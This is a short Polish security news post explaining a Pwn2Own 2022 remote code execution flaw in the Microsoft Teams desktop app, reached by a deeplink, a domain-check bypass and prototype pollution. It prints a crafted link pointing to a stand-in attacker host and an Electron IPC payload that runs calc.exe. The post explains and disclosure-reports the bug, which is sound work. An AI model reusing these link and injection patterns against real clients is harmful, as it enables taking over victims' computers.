Żądny wiedzy? Wbijaj na Mega Sekurak Hacking Party w maju! -30% z kodem: majearly

Przejęcie komputera poprzez kliknięcie linku w Microsoft Teams

23 stycznia 2023, 10:53 | W biegu | 0 komentarzy

Stosunkowo mocno techniczny opis podatności w MS Teamsach (wersja desktopowa):

The deeplink handler for /l/task/:appId in Microsoft Teams can load an arbitrary url in webview/iframe. Attacker can leaverage this with teams RPC’s functionality to get code execution outside the sandbox.

W skrócie – klikasz w linka na Teamsach, odpala on automatem pewną funkcję w aplikacji, która ładuje content z zewnętrznej strony (należącej do atakującego). Ten content wykorzystuje podatność, która daje RCE (remote code execution).

Link wygląda mniej więcej tak:

https://teams.live.com/_#/l/task/1ded03cb-ece5-4e7c-9f73-61c375528078?url=https://attacker.com%23.office.com/&height=100&width=100&title=hey&fallbackURL=https://aka.ms/hey&completionBotId=1&fqdn=teams.live.com

Teoretycznie powinien być akceptowany tylko taki z domeny office.com, ale jak widać udało się ominąć sprawdzenie za pomocą adresu: https://attacker.com#.office.com

Więc można załadować już dowolną zawartość ze strony napastnika. Teraz dochodzimy do w zasadzie sedna podatności, czyli wykorzystania luki klasy prototype pollution. Więcej o temacie tutaj (RCE w Kibanie) oraz na naszym angielskim research blogu czy w detalicznym writeupie o RCE w Kibanie.

Finalnie tego typu wstrzyknięcie umożliwia wykonanie kodu na komputerze ofiary (w tym przypadku calc.exe)

msg=ipc.sendToRendererSync(pluginHost, 'ELECTRON_REMOTE_SERVER_MEMBER_CALL', [{hey: 1}, msg, 'constructor', [{type: 'value', value: 'var backup=String.prototype.replace; String.prototype.replace = ()=>"slimcore\');require(`child_process`).exec(`calc.exe`);(\'";'}]], '')[0].id

Ostateczny exploit to po prostu względnie prosty kod JS umieszczony na stronie atakującego, a dostarczany linkiem, o którym wspominam na początku wpisu.

Warto przy okazji ograniczyć jakim organizacjom/domenom dajemy dostęp do naszego Teams Chatu.

Na roboczo zakładamy, że bug już został załatany (podatność była zgłoszona w ramach konkursu: pwn2own 2022 vancouver).

~ms

Spodobał Ci się wpis? Podziel się nim ze znajomymi:



Komentarze

Odpowiedz